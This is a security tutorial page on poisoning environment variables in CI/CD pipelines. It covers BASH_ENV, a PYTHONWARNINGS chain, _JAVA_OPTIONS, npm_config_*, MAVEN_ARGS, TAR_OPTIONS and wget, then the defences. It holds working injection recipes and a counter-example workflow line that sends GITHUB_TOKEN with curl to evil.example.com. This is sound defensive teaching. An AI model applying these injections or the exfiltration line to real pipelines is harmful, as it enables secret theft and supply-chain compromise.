Skip to content
Français
Account: not signed in, sync available My learning
Select theme
Français

Environment variable poisoning in pipelines

By updated

Improve this page

A well-chosen environment variable is enough to make a build tool run arbitrary code: no line of source code is modified, no configuration file is touched, and no alert fires. An environment variable is a named value (such as PATH=/usr/bin) that the shell hands to every program it starts; many tools read some of them to change their behavior, and that is what an attacker abuses. This lesson presents 6 variables (BASH_ENV, _JAVA_OPTIONS, PYTHONWARNINGS, npm_config_*, MAVEN_ARGS, TAR_OPTIONS) in CI/CD pipelines (the automation that builds, tests and ships code), then the countermeasures. It is aimed at DevOps engineers and developers who write workflows, with some shell knowledge.

Take an example. A pipeline runs tar xf archive.tar to extract build artifacts. Nothing suspicious in the code, nothing malicious in the archive. Yet an arbitrary command runs on every extraction: the culprit is TAR_OPTIONS, an environment variable that nobody monitors. This lesson goes deep on the build and CI family of the threat panorama. The Living Off The Pipeline guide places this vector in a wider catalog of hijackable CI/CD tools.

What you will learn

  • Explain why environment variables are an underestimated attack vector in CI/CD.
  • Recognize 6 concrete techniques that exploit BASH_ENV, _JAVA_OPTIONS, PYTHONWARNINGS, npm_config_*, MAVEN_ARGS and TAR_OPTIONS.
  • Replay the attacks safely in a local lab.
  • Apply the countermeasures that protect your pipelines.

Why are environment variables dangerous?

The fundamental problem

In a CI/CD pipeline, environment variables play a central role: they carry the secrets (tokens, API keys), the configuration parameters (registries, paths) and the metadata of the build (commit, branch).

The problem: many tools read environment variables to change their behavior, and some of these variables allow arbitrary code to run. This is a documented, intended behavior: the tools do exactly what they are designed to do.

On GitHub Actions, a step (one command or action in a job) can write a NAME=value line into the file that $GITHUB_ENV points to. The runner (the machine that executes the job) reads this file between two steps and exports these variables to all the following steps of the same job. This is the channel the attacker hijacks.

The diagram follows the thread over time, from left to right. Look first at who writes (the compromised step), then who relays (the runner), then who executes (the next step): the step that suffers the attack is not the one that prepared it.

Sequence: the compromised step writes BASH_ENV into the GITHUB_ENV file and ends without error; the runner reads the file between two steps and exports the variable; the Build step starts, bash evaluates BASH_ENV before the script and the injected code runs with the job secrets.Build stepRunnerGITHUB_ENVfileCompromisedstepStep A ends without errorbashevaluatesBASH_ENVbefore thescriptthe injectedcode runswith the jobsecretswritesBASH_ENV=commandreads the filebetween two stepsexports BASH_ENVinto the environment
Source · SVG
Esc to close, + and − to zoom, scroll to move around. 100 %

How does an attacker poison the variables?

An attacker has five ways to modify the environment variables of a pipeline. The table gives each one with an example: read it as the list of places to watch in your workflows.

VectorTechniqueExample
$GITHUB_ENVWriting to the file $GITHUB_ENV points toecho "BASH_ENV=malicious.sh" >> $GITHUB_ENV
Malicious PRWorkflow file modified in the PRenv: MAVEN_ARGS: "..." in the YAML
Compromised actionA third-party action sets variablescore.exportVariable('TAR_OPTIONS', '...')
Workflow injectionUnprotected ${{ }} expression${{ github.event.issue.title }} in an env:
Cache/artifact.env file restored from a poisoned cacheCache containing a modified .env

Which 8 tools can be exploited?

The LOTP project documents 8 tools vulnerable to environment variable poisoning. This lesson details the 6 most common in a DevOps environment, then wget as a bonus; the pip row (PIP_INDEX_URL) is a case of registry redirection, covered in the package manager attacks. The table gives, for each tool, the variable, the mechanism and the severity retained.

ToolVariable(s)MechanismSeverity
bashBASH_ENVExpanded and sourced before the script by a non-interactive bash (conditions in technique 1)Critical
pythonPYTHONWARNINGS + BROWSER (+ BASH_ENV)Chain of 3 variables; 2 are enough when BROWSER contains %sHigh
java_JAVA_OPTIONS, JAVA_TOOL_OPTIONS-XX:OnOutOfMemoryError + very low -XmxHigh
npmnpm_config_*Any npm_config_X becomes an npm settingHigh
mavenMAVEN_ARGSArgument injection, exec pluginHigh
tarTAR_OPTIONS--checkpoint-action=exec=High
wgetWGETRC / use_askpassRuns a script as the "askpass" helperMedium
pipPIP_INDEX_URLRedirection of the PyPI registryMedium

Technique 1: BASH_ENV, the most dangerous

Why is it critical?

BASH_ENV is the most dangerous technique because bash is present in almost every pipeline. Every run: step on a Linux or macOS runner in GitHub Actions uses bash by default. When a non-interactive bash starts a script, it looks for BASH_ENV in its environment, expands its value, then sources (runs in the current shell) the file whose name results from that expansion, before the first line of the script. In other words, BASH_ENV is meant to hold a file name, not a command: the Bash manual describes it as the equivalent of if [ -n "$BASH_ENV" ]; then . "$BASH_ENV"; fi.

This reading has conditions. A bash in POSIX mode (bash --posix, POSIXLY_CORRECT=1) does not read BASH_ENV, and neither does a bash invoked under the name sh (the manual: "A non-interactive shell invoked with the name sh does not attempt to read any other startup files"). dash, the sh of Debian and Ubuntu, ignores it too. The attack therefore targets a non-interactive bash that is neither in POSIX mode nor invoked as sh, which is exactly what a GitHub Actions run: step starts.

How does it work?

  1. The attacker writes into $GITHUB_ENV: a compromised step (third-party action, injection) adds a BASH_ENV=$(command) line to the file that $GITHUB_ENV points to.

  2. The runner loads the variable: between two steps, GitHub Actions reads $GITHUB_ENV and exports the variables into the environment.

  3. Bash expands BASH_ENV: at the next step, bash expands the value of BASH_ENV, the command substitution $(...) it contains running at that moment, then sources the resulting file before the legitimate script. The malicious code runs with the same rights and the same secrets.

Lab example

In a GitHub Actions pipeline, the poisoning looks like this. This block is a counter-example (❌ marker): it shows the attack, never to be copied into a real workflow.

GitHub Actions workflow: BASH_ENV attack (❌ counter-example)
# ❌ Step 1: a compromised third-party action poisons BASH_ENV
- name: Setup (compromised action)
run: |
echo 'BASH_ENV=$(curl https://evil.example.com/collect?token=$GITHUB_TOKEN)' >> $GITHUB_ENV
# Step 2: legitimate step, BASH_ENV runs BEFORE it
- name: Build
run: |
npm install # BASH_ENV has already exfiltrated the token
npm test

The local lab (lab-lotp/14-env-bash/, taken from the author's lab set) simulates this mechanism without GitHub: it writes into a fake $GITHUB_ENV, reloads it as the runner would, then starts a victim step. The victim step is a simple script that prints three lines:

lab-lotp/14-env-bash/victim-step.sh
echo " [Step 2] Starting the legitimate build..."
echo " [Step 2] npm install && npm test"
echo " [Step 2] Build finished successfully."

The simulation script is the following. It loads the variables with export "$line" and not with eval: like the runner, it stores the value without interpreting it, and it is bash, when the victim step starts, that expands the $(...) of BASH_ENV.

lab-lotp/14-env-bash/simulate-github-env.sh
# Simulate $GITHUB_ENV
GITHUB_ENV=$(mktemp)
# The attacker poisons BASH_ENV (the value stays text, nothing runs yet)
echo 'BASH_ENV=$(echo "[!] CODE EXECUTED VIA BASH_ENV, id: $(id)" 1>&2)' >> "$GITHUB_ENV"
# Load the variables (like the runner, without evaluating them)
while IFS= read -r line; do
export "$line"
done < "$GITHUB_ENV"
# The next step runs BASH_ENV before anything else
bash victim-step.sh

Lab result:

Output
[!] CODE EXECUTED VIA BASH_ENV, id: uid=1000(bob) gid=1000(bob) ...
[Step 2] Starting the legitimate build...
[Step 2] npm install && npm test
[Step 2] Build finished successfully.

The malicious code runs before the legitimate build, which proves the mechanism: the [!] CODE EXECUTED line appears before the messages of the step, with the identity and the secrets of the job.

Technique 2: PYTHONWARNINGS, the invisible chain

Why is it formidable?

Python loads no local configuration file by default. But the chain below, which uses 3 variables (2 are enough in a variant described after the lab), still allows code execution before any invocation of python or pip, as long as the interpreter is started without the -E or -I options (which make it ignore the PYTHON* variables).

How does it work?

The chain exploits a hidden joke (easter egg) of Python's antigravity module:

  1. PYTHONWARNINGS="::antigravity.::" loads the antigravity module, which is designed to open an xkcd page in a browser.

  2. antigravity uses the webbrowser module, which reads the BROWSER variable to choose which executable to open.

  3. BROWSER="/bin/bash" redirects to bash, instead of a browser, it is bash that is launched with the URL as an argument.

  4. BASH_ENV="$(command)" intercepts the launch of bash: bash expands the value, the command substitution runs, and the resulting file is sourced before bash processes the URL.

Lab example

lab-lotp/15-env-python/demo-chain.sh
# The 3 variables of the chain
export PYTHONWARNINGS="::antigravity.::"
export BROWSER="/bin/bash"
export BASH_ENV='$(echo "[!] CODE EXECUTED via chain PYTHONWARNINGS→BROWSER→BASH_ENV" 1>&2; \
f=$(mktemp); echo exit > $f; echo $f)'
# Any Python invocation triggers the chain
python3 -c "print(42)"

Lab result:

Output
[!] CODE EXECUTED via chain PYTHONWARNINGS→BROWSER→BASH_ENV
Invalid -W option ignored: unknown warning category: 'antigravity.'
42

The injected code runs before print(42). It also works with pip install, pytest, mypy, anything that starts the Python interpreter.

The BASH_ENV link is not mandatory. The documentation of Python's webbrowser module says that when a part of the BROWSER list contains the string %s, it is interpreted as a literal browser command line, where %s is replaced by the URL. With PYTHONWARNINGS and such a BROWSER, two variables are enough. In this variant, the command line held by BROWSER runs directly, with the URL of the xkcd page in place of %s, and bash is no longer needed in the chain. Measured with a harmless echo as the command: it prints before the Python program runs.

Technique 3: _JAVA_OPTIONS, a provoked crash

Why is it effective?

The _JAVA_OPTIONS, JAVA_TOOL_OPTIONS and JDK_JAVA_OPTIONS variables add arguments to every invocation of the JVM (the Java virtual machine). Combined with an absurd memory limit, they allow code to run at crash time.

How does it work?

  1. _JAVA_OPTIONS injects JVM arguments, the variable is read by the JVM at startup, before the program itself.

  2. A very low -Xmx causes a crash, the heap (the memory area for objects) is capped at a few MB (16 MB here), which causes an OutOfMemoryError in any program that allocates more. Do not go too low: measured with Temurin 21.0.12, -Xmx2m makes the JVM fail at startup (GC triggered before VM initialization completed) before any OutOfMemoryError, so the command never runs, and a trivial program such as Hello fits in 16 MB without error.

  3. -XX:OnOutOfMemoryError="cmd" runs a command, this flag is designed for diagnostics, but it runs any shell command.

Lab example

lab-lotp/16-env-java/demo-java.sh
# Poison _JAVA_OPTIONS
export _JAVA_OPTIONS='-XX:OnOutOfMemoryError="echo [!] RCE via Java" -Xmx16m'
# Any program that exceeds the heap limit triggers the execution
java MyProgram # any program that allocates more than 16 MB of heap
mvn clean install # Maven build
gradle build # Gradle build

Expected result:

Output
Picked up _JAVA_OPTIONS: -XX:OnOutOfMemoryError="echo [!] RCE via Java" -Xmx16m
#
# java.lang.OutOfMemoryError: Java heap space
# -XX:OnOutOfMemoryError="echo [!] RCE via Java"
# Executing /bin/sh -c "echo [!] RCE via Java"...
[!] RCE via Java

In this output, RCE stands for remote code execution: running commands chosen by the attacker.

Technique 4: npm_config_*, the prefix trap

Why is it sneaky?

npm interprets any environment variable starting with npm_config_ as a configuration setting. This behavior is documented but little known, and it opens two attack vectors.

What are the two attacks?

Attack 1, shell hijacking: npm_config_script_shell replaces the shell used to run npm scripts. Instead of /bin/sh, npm uses the attacker's script.

Attack 2, registry redirection: npm_config_registry redirects npm install to a registry controlled by the attacker. The installed packages come from a malicious source.

Lab example

lab-lotp/17-env-npm/demo-npm-env.sh
# Attack 1: hijack the shell for npm scripts
export npm_config_script_shell="./pwn.sh"
npm test # pwn.sh is run instead of /bin/sh
# Attack 2: redirect the registry
export npm_config_registry="https://evil.example.com/"
npm install # packages downloaded from the malicious registry

Lab result:

Output: script_shell attack
> lab-17@1.0.0 test
> echo 'Running tests...'
[!] CODE EXECUTED, npm_config_script_shell hijacked the shell
[!] Arguments received: -c echo 'Running tests...'
[!] id: uid=1000(bob) gid=1000(bob) ...
Output: registry attack
[*] 'npm config get registry' returns:
https://evil.example.com/

Technique 5: MAVEN_ARGS, plugin injection

Why is it dangerous?

Since Maven 3.9, the MAVEN_ARGS variable lets you add arguments to every mvn command. An attacker can inject the exec-maven-plugin plugin to run shell commands.

How does it work?

MAVEN_ARGS poisoning
export MAVEN_ARGS="org.codehaus.mojo:exec-maven-plugin:3.2.0:exec \
-Dexec.executable=/bin/sh \
-Dexec.args='-c echo [!] RCE via MAVEN_ARGS'"
# Any Maven command runs the injected code
mvn clean install
mvn test
mvn package

The exec-maven-plugin plugin is downloaded from Maven Central (it is a legitimate plugin) and runs the specified command. No modification of pom.xml is needed. This technique has no script in the lab set: to replay it, use a throwaway Maven project and keep a harmless command such as the echo of the example.

Technique 6: TAR_OPTIONS, the ghost of archives

Why is tar a trap?

tar is used everywhere in pipelines: extracting artifacts, unpacking caches, restoring dependencies. The TAR_OPTIONS variable is added at the head of every tar command, and the --checkpoint-action=exec= option lets it run a command for each file processed.

Lab example

lab-lotp/18-env-tar/demo-tar.sh
# Poison TAR_OPTIONS
export TAR_OPTIONS="--checkpoint=1 \
--checkpoint-action=exec=echo\ [!]\ CODE\ EXECUTED\ via\ TAR_OPTIONS"
# Any tar command runs the injected code
tar cf archive.tar file.txt # Creation → execution
tar xf archive.tar # Extraction → execution

Lab result:

Output
[!] CODE EXECUTED via TAR_OPTIONS

Every tar operation in the pipeline, including those performed internally by the runner to restore caches, runs the injected code.

Bonus technique: wget and use_askpass

wget can be configured through a .wgetrc file or the WGETRC variable. The use_askpass directive specifies an executable used to ask for HTTP credentials: an attacker can point it to an arbitrary script. That script is only called when the server asks for authentication (HTTP 401 response), not on every wget (measured with GNU Wget 1.21.4).

lab-lotp/20-env-wget/demo-wget.sh
# Create a malicious .wgetrc
echo 'use_askpass=./pwn.sh' > .wgetrc
export WGETRC="$(pwd)/.wgetrc"
# pwn.sh runs if the server answers 401 (authentication required)
wget https://protected-server.example/ -O /dev/null

What does a realistic attack scenario look like?

Here is how these techniques chain together in a real attack scenario:

  1. The attacker submits a PR to a popular open source repo. The PR modifies a harmless test file.

  2. The pull_request_target workflow triggers (this trigger runs with the secrets of the base repository, even for a PR coming from a fork) and starts a compromised third-party action, or an action whose tag has been modified.

  3. The compromised action writes three lines into $GITHUB_ENV: BASH_ENV, TAR_OPTIONS, and npm_config_registry.

  4. The following steps of the same job are compromised: the secrets are exfiltrated through BASH_ENV, the tar artifacts contain malicious code, and future npm installs come from a booby-trapped registry.

  5. No alert fires: the source code was not modified, the logs show a "normal" build (the malicious code runs in silent mode).

How do you defend against environment variable poisoning?

Level 1, immediate actions

These four actions deploy in a few minutes and remove most of the risk: they act on what the attacker must modify (action tags), what they can steal (permissions) and what they can run (npm scripts).

ActionProtectionEffort
Pin actions to a SHAPrevents tag modificationLow
Limit GITHUB_TOKEN permissionsReduces the impact of an exfiltrationLow
Audit the $GITHUB_ENV writesDetects suspicious writesMedium
Use --ignore-scripts for npm ciBlocks lifecycle scripts at install time, not npm testLow

Level 2, pipeline hardening

  1. Isolate sensitive steps in separate jobs. Variables written into $GITHUB_ENV do not propagate between jobs: each job starts from a clean environment. On a GitHub-hosted runner, the job also starts on a fresh virtual machine, destroyed at the end. On a persistent self-hosted runner, this guarantee falls: a compromised job can leave on disk a file, a modified tool or a poisoned cache that will affect the following jobs. Separate the steps that run untrusted code from the steps that handle secrets.

  2. Clean the critical variables at the start of a step. Add a "sanitization" step that runs unset on the dangerous variables:

    Cleanup step
    - name: Sanitize env
    run: |
    unset BASH_ENV TAR_OPTIONS _JAVA_OPTIONS JAVA_TOOL_OPTIONS
    unset MAVEN_ARGS PYTHONWARNINGS BROWSER
    env | grep -i "npm_config_" | cut -d= -f1 | xargs -I{} unset {}

    Know the limits of this step. For BASH_ENV, the unset comes too late: bash has already expanded and sourced it before the first line of the step (measured), so the cleanup only protects the processes the step launches afterwards. For the other variables, the runner exports again at the next step what $GITHUB_ENV contains. Cleaning limits the damage, it does not replace closing the write path (steps 1 and 4).

  3. Use ephemeral runners. A runner destroyed after each job prevents poisoned files or tools from persisting between runs: this is what makes the isolation between jobs described in step 1 true on self-hosted hardware.

  4. Limit the allowed actions. Any step of a job can write into $GITHUB_ENV: the remedy is not to lock that file but to restrict the third-party actions that can run, with the allowed actions list in the repository or GitHub organization settings, combined with SHA pinning.

Level 3, automated detection

CI/CD security tools detect some of these patterns. The table names the tool, what it catches and where to learn it; none of them replaces the first two levels.

ToolDetectionLink
ZizmorWrites to $GITHUB_ENV by uncontrolled stepszizmor guide
PoutineCode execution after checkout of an untrusted PRpoutine guide
StepSecurity Harden-RunnerReal-time network and process monitoringharden-runner

Troubleshooting

If a build behaves unexpectedly (code that runs before the script, an unknown registry, a Java crash), start by printing the variables concerned before searching the code. The table links each symptom to its likely cause and to the verification command.

SymptomLikely causeSolution
Code runs before the script in a stepBASH_ENV poisonedecho "$BASH_ENV", then find and remove the $GITHUB_ENV write (an unset in the step comes after the code has run)
npm install downloads from an unknown registrynpm_config_registry modifiednpm config get registry + unset npm_config_registry
Unexpected Java OutOfMemoryError crash_JAVA_OPTIONS with a very low -Xmxecho $_JAVA_OPTIONS + unset _JAVA_OPTIONS
A tar command runs unexpected codeTAR_OPTIONS poisonedecho $TAR_OPTIONS + unset TAR_OPTIONS
wget calls an unexpected script.wgetrc with use_askpassCheck $WGETRC and ~/.wgetrc
Python launches a browser at startupPYTHONWARNINGS → antigravityunset PYTHONWARNINGS BROWSER
Maven runs a plugin not declared in pom.xmlMAVEN_ARGS injects a pluginecho $MAVEN_ARGS + unset MAVEN_ARGS

Summary of the labs

The examples of this lesson come from the author's lab-lotp/ lab set, designed to run locally and safely: each block is replayed in a throwaway directory, never in a real pipeline. The table links each technique to its original folder and tells you what must be installed.

LabFolderTechniqueNeeds
BASH_ENV14-env-bash/Poisoning via a simulated $GITHUB_ENVbash
PYTHONWARNINGS15-env-python/PYTHONWARNINGS → BROWSER → BASH_ENV chainPython 3
_JAVA_OPTIONS16-env-java/OutOfMemoryError → OnOutOfMemoryErrorJDK
npm_config_*17-env-npm/script_shell + registry redirectnpm
TAR_OPTIONS18-env-tar/checkpoint-action=execGNU tar
wget use_askpass20-env-wget/.wgetrc + use_askpasswget

Key points

  • Environment variables are an invisible attack vector: they modify neither the source code nor the configuration files.

  • BASH_ENV is the most dangerous because bash is present in almost every pipeline and the variable is expanded and sourced before the script, as long as bash is non-interactive, not in POSIX mode and not invoked as sh.

  • 8 common tools are exploitable: bash, python, java, npm, maven, tar, wget, pip. The complete list is in the LOTP project.

  • Poisoning often happens through $GITHUB_ENV, compromised third-party actions, or unprotected ${{ }} expressions.

  • The most effective countermeasure is isolation between jobs: poisoned variables do not propagate from one job to another, and a GitHub-hosted or ephemeral runner additionally guarantees that no file survives.

  • Combine isolation with SHA pinning of actions, cleaning of variables, and detection tools (zizmor, Poutine) for defense in depth.

Knowledge check

Check that the essentials of this lesson are in place. The questions only cover what has just been explained here.

Knowledge check

Check what you have learned with this interactive quiz

6 questions
6 min
70% to pass

How it works

  • The timer starts when you click Start
  • Multiple choice, true/false and short answer questions
  • You can move between questions
  • Detailed results are shown at the end

Starts the quiz and the timer

Is this project useful to you?

The guides, courses, quizzes and labs stay free. If you use them regularly, you can contribute to their upkeep and development.

Become a supporting member (new tab) One-time support (new tab) Learn more

Follow the project on LinkedIn